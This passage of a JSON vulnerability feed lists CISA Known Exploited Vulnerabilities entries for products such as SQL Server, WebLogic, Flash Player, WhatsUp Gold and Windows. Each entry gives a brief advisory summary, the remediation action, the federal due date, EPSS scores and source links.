the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-8963&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-8963, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-0618","cveId":"CVE-2020-0618","aliases":[],"kind":"vulnerability","title":"Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability","summary":"Microsoft SQL Server Reporting Services contains a deserialization vulnerability when handling page requests incorrectly. An authenticated attacker can exploit this vulnerability to execute code in the context of the Report Server service account.","detail":"CISA added this entry on 2024-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-18","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"SQL Server","stacks":["Microsoft SQL Server","Microsoft","SQL Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-18","dueAt":"2024-10-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99046,"percentile":0.99931,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-0618&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-0618","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-0618 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-0618&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-0618, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-14644","cveId":"CVE-2020-14644","aliases":[],"kind":"vulnerability","title":"Oracle WebLogic Server Remote Code Execution Vulnerability","summary":"Oracle WebLogic Server, a product within the Fusion Middleware suite, contains a deserialization vulnerability. Unauthenticated attackers with network access via T3 or IIOP can exploit this vulnerability to achieve remote code execution.","detail":"CISA added this entry on 2024-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-18","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"WebLogic Server","stacks":["Oracle","WebLogic Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-18","dueAt":"2024-10-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.94548,"percentile":0.99853,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-14644&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-14644","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-14644 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-14644&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-14644, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-21445","cveId":"CVE-2022-21445","aliases":[],"kind":"vulnerability","title":"Oracle ADF Faces Deserialization of Untrusted Data Vulnerability","summary":"Oracle ADF Faces library, included with Oracle JDeveloper Distribution, contains a deserialization of untrusted data vulnerability leading to unauthenticated remote code execution.","detail":"CISA added this entry on 2024-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-18","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"ADF Faces","stacks":["Oracle","ADF Faces"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-18","dueAt":"2024-10-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.62478,"percentile":0.99181,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-21445&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2022-21445","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2022-21445 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-21445&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-21445, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-27348","cveId":"CVE-2024-27348","aliases":[],"kind":"vulnerability","title":"Apache HugeGraph-Server Improper Access Control Vulnerability","summary":"Apache HugeGraph-Server contains an improper access control vulnerability that could allow a remote attacker to execute arbitrary code.","detail":"CISA added this entry on 2024-09-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-18","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"HugeGraph-Server","stacks":["Apache","HugeGraph-Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-18","dueAt":"2024-10-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9921,"percentile":0.99934,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-27348&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-27348","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-27348 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-27348&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-27348, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-0643","cveId":"CVE-2013-0643","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Incorrect Default Permissions Vulnerability","summary":"Adobe Flash Player contains an incorrect default permissions vulnerability in the Firefox sandbox that allows a remote attacker to execute arbitrary code via crafted SWF content.","detail":"CISA added this entry on 2024-09-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","publishedAt":"2024-09-17","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-17","dueAt":"2024-10-08","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10533,"percentile":0.95736,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-0643&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-0643","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-0643 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-0643&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-0643, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-0648","cveId":"CVE-2013-0648","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Code Execution Vulnerability","summary":"Adobe Flash Player contains an unspecified vulnerability in the ExternalInterface ActionScript functionality that allows a remote attacker to execute arbitrary code via crafted SWF content.","detail":"CISA added this entry on 2024-09-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","publishedAt":"2024-09-17","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-17","dueAt":"2024-10-08","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11094,"percentile":0.95894,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-0648&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-0648","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-0648 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-0648&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-0648, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-0497","cveId":"CVE-2014-0497","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Integer Underflow Vulnerablity","summary":"Adobe Flash Player contains an integer underflow vulnerability that allows a remote attacker to execute arbitrary code.","detail":"CISA added this entry on 2024-09-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","publishedAt":"2024-09-17","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-17","dueAt":"2024-10-08","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99879,"percentile":0.99965,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-0497&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-0497","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-0497 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-0497&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-0497, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-0502","cveId":"CVE-2014-0502","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Double Free Vulnerablity","summary":"Adobe Flash Player contains a double free vulnerability that allows a remote attacker to execute arbitrary code.","detail":"CISA added this entry on 2024-09-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","publishedAt":"2024-09-17","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-17","dueAt":"2024-10-08","action":"The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.24817,"percentile":0.97888,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-0502&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-0502","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-17","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-0502 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-0502&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-0502, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-43461","cveId":"CVE-2024-43461","aliases":[],"kind":"vulnerability","title":"Microsoft Windows MSHTML Platform Spoofing Vulnerability","summary":"Microsoft Windows MSHTML Platform contains a user interface (UI) misrepresentation of critical information vulnerability that allows an attacker to spoof a web page. This vulnerability was exploited in conjunction with CVE-2024-38112.","detail":"CISA added this entry on 2024-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-16","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-16","dueAt":"2024-10-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.54486,"percentile":0.99007,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-43461&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-43461","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-43461 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-43461&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-43461, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-6670","cveId":"CVE-2024-6670","aliases":[],"kind":"vulnerability","title":"Progress WhatsUp Gold SQL Injection Vulnerability","summary":"Progress WhatsUp Gold contains a SQL injection vulnerability that allows an unauthenticated attacker to retrieve the user's encrypted password if the application is configured with only a single user.","detail":"CISA added this entry on 2024-09-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-16","updatedAt":null,"regions":["Global"],"vendor":"Progress","product":"WhatsUp Gold","stacks":["Progress (MOVEit, Telerik, WS_FTP)","Progress","WhatsUp Gold"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-16","dueAt":"2024-10-07","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93,"percentile":0.9983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-6670&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-6670","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-6670 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-6670&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-6670, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-8190","cveId":"CVE-2024-8190","aliases":[],"kind":"vulnerability","title":"Ivanti Cloud Services Appliance OS Command Injection Vulnerability","summary":"Ivanti Cloud Services Appliance (CSA) contains an OS command injection vulnerability in the administrative console which can allow an authenticated attacker with application admin privileges to pass commands to the underlying OS.","detail":"CISA added this entry on 2024-09-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"As Ivanti CSA has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line of supported solutions, as future vulnerabilities on the 4.6.x version of CSA are unlikely to receive future security updates.","publishedAt":"2024-09-13","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Cloud Services Appliance","stacks":["Ivanti","Cloud Services Appliance"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-13","dueAt":"2024-10-04","action":"As Ivanti CSA has reached End-of-Life status, users are urged to remove CSA 4.6.x from service or upgrade to the 5.0.x line of supported solutions, as future vulnerabilities on the 4.6.x version of CSA are unlikely to receive future security updates.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.88535,"percentile":0.99771,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-8190&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-8190","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-13","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-8190 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-8190&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-8190, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38014","cveId":"CVE-2024-38014","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Installer Improper Privilege Management Vulnerability","summary":"Microsoft Windows Installer contains an improper privilege management vulnerability that could allow an attacker to gain SYSTEM privileges.","detail":"CISA added this entry on 2024-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-10","dueAt":"2024-10-01","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06263,"percentile":0.93519,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38014&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38014","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38014 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38014&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38014, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38217","cveId":"CVE-2024-38217","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Mark of the Web (MOTW) Protection Mechanism Failure Vulnerability","summary":"Microsoft Windows Mark of the Web (MOTW) contains a protection mechanism failure vulnerability that allows an attacker to bypass MOTW-based defenses. This can result in a limited loss of integrity and availability of security features such as Protected View in Microsoft Office, which rely on MOTW tagging.","detail":"CISA added this entry on 2024-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-10","dueAt":"2024-10-01","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10026,"percentile":0.95582,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38217&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38217","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38217 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38217&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38217, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38226","cveId":"CVE-2024-38226","aliases":[],"kind":"vulnerability","title":"Microsoft Publisher Protection Mechanism Failure Vulnerability","summary":"Microsoft Publisher contains a protection mechanism failure vulnerability that allows attacker to bypass Office macro policies used to block untrusted or malicious files.","detail":"CISA added this entry on 2024-09-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-09-10","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Publisher","stacks":["Microsoft","Publisher"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-09-10","dueAt":"2024-10-01","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.02667,"percentile":0.85626,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38226&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38226","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-09-10","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38226 catalog entry establishes known exploitation, date added, required action, and the 